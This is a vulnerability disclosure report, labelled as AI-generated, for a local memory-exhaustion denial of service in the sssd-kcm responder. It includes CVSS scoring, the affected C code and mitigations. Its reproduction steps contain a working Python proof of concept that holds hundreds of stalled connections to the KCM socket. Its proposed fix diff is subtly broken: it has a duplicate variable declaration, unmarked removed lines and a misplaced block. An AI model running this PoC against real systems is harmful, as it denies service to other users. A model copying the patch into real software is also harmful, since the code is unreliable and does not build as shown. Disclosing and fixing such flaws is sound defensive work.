Fedora Account System
Red Hat Associate
Red Hat Customer
AI_ONLY_REPORT package: sssd-2.12.0-1.el10 ------ Summary: Local DoS in `sssd-kcm` via preallocation of attacker-controlled request length: client-supplied request lengths are trusted for full preallocation before the request body arrives, allowing a local client that can reach the KCM socket to pin large responder allocations by stalling many connections. Requirements to exploit: A local user or process that can connect to the `sssd-kcm` UNIX socket, open many concurrent connections, send only the 4-byte length header for a large request, and keep those connections open until idle cleanup. Component affected: `sssd-2.12.0-1.el10`, `src/responder/kcm/kcmsrv_cmd.c`, primarily `kcm_recv_data()` with the `EAGAIN` handling path in `kcm_recv()`. Version affected: `sssd-2.12.0-1.el10`; reachability depends on deployments that enable the `sssd-kcm` responder and permit local clients to connect to its UNIX socket. Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - 5.5 (MEDIUM) AV:L - Exploitation requires local access to the KCM UNIX socket. AC:L - The attack only requires sending a valid length header and then stalling the connection. PR:L - The attacker needs a local user context that can connect to the socket. UI:N - No victim interaction is required. S:U - The impact is contained within the vulnerable component's own security scope. C:N - No confidentiality impact is established by the available evidence. I:N - No integrity impact is established by the available evidence. A:H - Repeated stalled connections can pin large allocations and deny availability of the KCM responder; broader system memory pressure is also plausible. Impact: Moderate. Under Red Hat's severity guidance this is better classified as Moderate than Important because the issue is local and configuration-dependent, but in affected deployments it can still cause meaningful availability loss by exhausting responder memory. The available evidence does not show confidentiality impact, integrity impact, privilege escalation, or easy remote compromise. Embargo: no Reason: This is a local, configuration-dependent denial of service with straightforward operational mitigations, and the available evidence does not show the kind of high-risk remote compromise that would typically justify embargo. Acknowledgement: Aisle Research Vulnerability Details: `kcm_recv_data()` reads the 4-byte client-supplied request length, enforces only the protocol maximum, and allocates the full declared payload buffer before the payload is present: ```c msglen = kcm_input_get_payload_len(&reqbuf->v_len); if (msglen > KCM_PACKET_MAX_SIZE) { DEBUG(SSSDBG_CRIT_FAILURE, "Request exceeds the KCM protocol limit, aborting\n"); return E2BIG; } msg = talloc_array(mem_ctx, uint8_t, msglen); if (msg == NULL) { DEBUG(SSSDBG_CRIT_FAILURE, "Failed to allocate memory for the message\n"); return ENOMEM; } talloc_set_destructor((void *) msg, sss_erase_talloc_mem_securely); /* Set the buffer and its expected len to receive the data */ reqbuf->v_msg.kiov_base = msg; reqbuf->v_msg.kiov_len = msglen; ret = kcm_read_iovec(fd, &reqbuf->v_msg); if (ret != EOK) { /* Not all errors are fatal, hence we don't print DEBUG messages here, but in the caller */ return ret; } ``` If the client sends only the length header and does not send the body, the caller leaves the connection open on `EAGAIN`: ```c case EAGAIN: DEBUG(SSSDBG_TRACE_ALL, "Retry later\n"); return; ``` The request state is tied to the connection context, so the attacker-controlled allocation remains associated with the live connection until the client disconnects or the client idle timeout expires. The available material identifies `KCM_PACKET_MAX_SIZE` as `10*1024*1024`, the default `client_idle_timeout` as 300 seconds, and the default `fd_limit` as 2048. In practice this creates roughly 10 MiB of retained memory per stalled connection until cleanup, making memory exhaustion possible with repeated concurrent connections from a local socket client. Steps to reproduce: 1. On a system where `sssd-kcm` is enabled and the test user can connect to its UNIX socket, start the socket-activated service if needed with `systemctl start sssd-kcm.socket`. 2. Confirm the socket path. The default path is `/var/run/.heim_org.h5l.kcm-socket`. 3. Run the following PoC from a local account that can connect to that socket: ```python #!/usr/bin/env python3 import socket, struct sock_path = "/var/run/.heim_org.h5l.kcm-socket" N = 300 socks = [] for _ in range(N): s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect(sock_path) s.sendall(struct.pack(">I", 10*1024*1024)) # length only, no body socks.append(s) input("Holding connections; press Enter to exit...\n") ``` 4. Observe the responder's RSS increasing by roughly `N * 10MB` and remaining elevated until idle cleanup closes the stalled connections. Mitigation: Restrict access to the KCM UNIX socket to trusted local users where possible. Where operationally acceptable, lowering `client_idle_timeout` and `fd_limit` reduces the amount of memory that can remain pinned before cleanup. Deployments that do not require `sssd-kcm` can disable it until a fix is available. Proposed Fix: Avoid preallocating the full attacker-controlled payload size. Read the request body incrementally and grow the buffer only as bytes actually arrive. ```diff diff --git a/src/responder/kcm/kcmsrv_cmd.c b/src/responder/kcm/kcmsrv_cmd.c index 0000000..0000000 100644 — a/src/responder/kcm/kcmsrv_cmd.c +++ b/src/responder/kcm/kcmsrv_cmd.c @@ -418,7 +418,10 @@ static errno_t kcm_recv_data(TALLOC_CTX *mem_ctx, int fd, struct kcm_reqbuf *reqbuf) { uint8_t *msg; + uint8_t *msg = reqbuf->v_msg.kiov_base; + size_t alloc_len = reqbuf->v_msg.kiov_len; + const size_t chunk = 4096; + size_t target; uint32_t msglen; errno_t ret; @@ -438,16 +441,42 @@ static errno_t kcm_recv_data(TALLOC_CTX *mem_ctx, return E2BIG; } msg = talloc_array(mem_ctx, uint8_t, msglen); if (msg == NULL) { DEBUG(SSSDBG_CRIT_FAILURE, "Failed to allocate memory for the message\n"); return ENOMEM; + if (reqbuf->v_msg.nprocessed == 0 && msg == NULL) { + alloc_len = 0; } talloc_set_destructor((void *) msg, sss_erase_talloc_mem_securely); /* Set the buffer and its expected len to receive the data */ reqbuf->v_msg.kiov_base = msg; reqbuf->v_msg.kiov_len = msglen; + while (reqbuf->v_msg.nprocessed < msglen) { + target = reqbuf->v_msg.nprocessed + chunk; + if (target > msglen) { + target = msglen; + } + + if (alloc_len < target) { + uint8_t *tmp = talloc_realloc(mem_ctx, msg, uint8_t, target); + if (tmp == NULL) { + DEBUG(SSSDBG_CRIT_FAILURE, + "Failed to grow message buffer\n"); + return ENOMEM; + } + msg = tmp; + alloc_len = target; + talloc_set_destructor((void *) msg, sss_erase_talloc_mem_securely); + } + + reqbuf->v_msg.kiov_base = msg; + reqbuf->v_msg.kiov_len = alloc_len; + ret = kcm_read_iovec(fd, &reqbuf->v_msg); + if (ret == EAGAIN) { + return EAGAIN; + } + if (ret != EOK) { + return ret; + } + } ret = kcm_read_iovec(fd, &reqbuf->v_msg); if (ret != EOK) { /* Not all errors are fatal, hence we don't print DEBUG messages * here, but in the caller */ return ret; } + reqbuf->v_msg.kiov_base = msg; + reqbuf->v_msg.kiov_len = msglen; return EOK; } ``` ------ This report was generated using AI technology. Always review AI-generated content prior to use